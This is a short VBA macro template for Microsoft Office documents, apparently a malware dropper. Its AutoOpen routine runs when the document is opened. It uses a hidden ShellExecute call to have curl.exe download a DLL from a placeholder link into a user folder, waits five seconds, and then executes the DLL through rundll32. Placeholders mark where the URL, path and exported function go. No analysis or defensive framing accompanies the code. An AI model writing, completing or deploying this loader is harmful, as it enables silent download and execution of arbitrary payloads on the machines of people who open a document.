Public Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal Milliseconds As LongPtr)
Public var As String

Function Down()
var = Environ("Envrinment variable")
‘Example: var = Environ("USERPROFILE")
‘Example: var = Environ("TEMP")

Set ob = CreateObject("Shell.Application")
Call ob.ShellExecute("curl.exe", "link -o " + var + "path/to/save/dll", "", "", 0)

End Function
Sub AutoOpen()
   
    var = Environ("Envrinment variable")
    ‘Example: var = Environ("USERPROFILE")
    Down
    Sleep 5000 ‘Time To Sleep
    Set obj = CreateObject("Shell.Application")
    Call obj.ShellExecute("rundll32", var + "\path/to/dll, FunctionExported", "", "", 0)
    ‘Example: Call obj.ShellExecute("rundll32", var + "\Desktop\main.dll, FunctionExported", "", "", 0)
End Sub